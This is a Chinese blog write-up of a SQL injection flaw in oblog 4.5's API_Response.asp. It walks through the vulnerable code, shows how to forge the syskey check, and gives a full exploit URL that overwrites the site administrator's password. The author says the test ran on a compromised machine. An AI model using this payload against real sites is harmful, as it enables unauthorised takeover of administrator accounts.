OBLOG4.5 商业SQL版 漏洞解析
声明:本文乃提供脚本学习 不是为了让大家去黑更多的站而写 漏洞已修补 网上的已经没有有漏洞的站了 影响版本:oblog4.5 商业SQL (非Final版) 漏洞补丁地址:http://down.oblog.cn/oblog4/patch/Oblog45_Final_Patch0619.rar 漏洞文件:api/API_Response.asp 打开api/API_Response.asp看开头处 =================省略部分代码============================ 很快就可以看到 password没经过任何过滤就进SQL语句了 因为是update语句 所以只适用SQL版 ACC版利用不大if request.querystring("syskey")<>"" then syskey=lcase(request.querystring("syskey")) username=oblog.filt_badstr(trim(request("username"))) if chksyskey then dim truepassword truepassword = rndpassword(16) if request.querystring("password")<>"" then password=trim(request("password")) cookiedate=trim(request("savecookie")) if cookiedate="0" or cookiedate="" then cookiedate="1" oblog.savecookie username,truepassword,cookiedate oblog.execute ("update oblog_user set truepassword = '"&truepassword&"' where username = '"&username&"' and password = '"&password&"'") else call logoutuser() end if end if else =================省略部分代码============================ 要执行这条语句还必须通过chksyskey这关 我们看看chksyskey是怎么回事 在同文件的稍微下面就能看到chksyskey的代码 '验证提交信息的合法性,目前oblogmd5文件为16位,只能验证提交的位数再判定(考虑新版本增加参数) function chksyskey() 这里有点小小的问题就是chksyskey貌似已经初始化为true了 以为不用管 不过到最后测试还是失败 所以必须自己构造合适的syskey才能使chksyskey=true syskey=lcase(syskey) if len(syskey)=32 then if mid(syskey,9,16)<>md5(username&oblog_key) then errmsg=("安全码验证未通过!") founderr=true chksyskey=false end if elseif len(syskey)=16 then if syskey<>md5(username&oblog_key) then errmsg=("安全码验证未通过!") founderr=true chksyskey=false end if else errmsg=("安全码不合法!") founderr=true chksyskey=false end if end function chksyskey=true syskey是直接request过来的 构造也很简单 只要提交的syskey等于 你所提交的用户名+oblog_key的MD5值 chksyskey就等于true 大家要看 明白可能需要一点点ASP的基础喔 syskey的值必须跟提交的用户名相对应喔 oblog_key的值在api/Api_Config.asp里 默认是API_TEST 一般人不会去改他 官方也是 (官方在上次 进去时已经知道不是SQL了,555) 我测试时提交的用户名是hackhua 所以提交的syskey值是hackhuaAPI_TEST的MD5值 就是8092826db0ab2902 你喜欢提交什么用户名都可 以 不需要注册 只要适当的修改MD5就可以了 password随意 savecookie要不就0要不就1都可以 下面开始测试 我用师傅的肉鸡架起OBLOG 地址就隐藏咯 首先提交http://www.XXXXXXX.com/oblog45/api/API_Response.asp?syskey=8092826db0ab2902&username=hackhua&savecookie=0&password=1' 返回错误 下面我们把管理ID为1的管理员密码改成123465 提交http://www.XXXXXXX.com/oblog45/api/API_Response.asp?syskey=8092826db0ab2902&username=hackhua&savecookie=0&password=1';update oblog_admin set password='7cc9bfe9291ac66b' where id=1-- 这样就完成了 拿SHELL就不说了 我没进后台直接把数据库的图截出来 不信拉倒 :) 当时是想等OBLOG4.5SQL版出来再告诉官方的 貌似 马JJ把洞提交给官方换了个SQL版回来 不过也好 让我调试 我只是菜鸟哪错了别骂我哈本文出自 51CTO.COM技术博客 |


foxhack
博客统计信息
热门文章
最新评论
友情链接